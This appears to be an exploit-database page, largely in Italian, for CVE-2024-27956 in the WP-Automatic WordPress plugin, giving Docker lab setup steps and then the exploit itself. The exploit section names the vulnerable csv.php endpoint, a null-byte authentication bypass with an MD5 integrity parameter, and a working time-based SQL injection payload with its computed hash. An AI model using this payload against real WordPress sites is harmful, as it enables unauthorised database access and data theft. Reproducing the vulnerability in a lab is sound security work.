Sploitus

Exploit for CVE-2024-27956

kitploit · 2026-08-29

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TRUONGHUUPHUC-CVE-2024-27956
# CVE-2024-27956

Nota

Costruisci wordpress: docker-compose -f stack.yml up

Installa il plugin:

  1. Nella dashboard di WordPress, scegli Plugin > Aggiungi nuovo

  2. Fai clic su Carica plugin




![image](https://assets.kitploit.com/production/public/readmes/33695/1cbe527bc2e680e20687b8c793e8a80689d5d4459da3a5a2d091a7103fc4db98.png)

  3. Scegli File -> wp-automatic.zip -> Installa ora



![image](https://assets.kitploit.com/production/public/readmes/33695/25d5bcdeecc899fae3c65fffad3efc5c8f3fd6d4bf6901a1a951e9cf2a57f7eb.png)

  4. Dopo che l'installazione è completa, fai clic su Attiva plugin



![image](https://assets.kitploit.com/production/public/readmes/33695/83cceeb962171c77f081b593ec5797a974e3f872c88fae3046cb30a9615ee46c.png)

Exploit

`<HOST>/wp-content/plugins/wp-automatic/inc/csv.php`

`q={{query}}&auth=%00&integ={{md5query}}`

root@kitploit:~
    
    
    q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f
    

![image](https://assets.kitploit.com/production/public/readmes/33695/5fd40a4475036c1f2766b9db2f13a4132c5831506b4109e2bdb2a9573549e303.png)

root@kitploit:~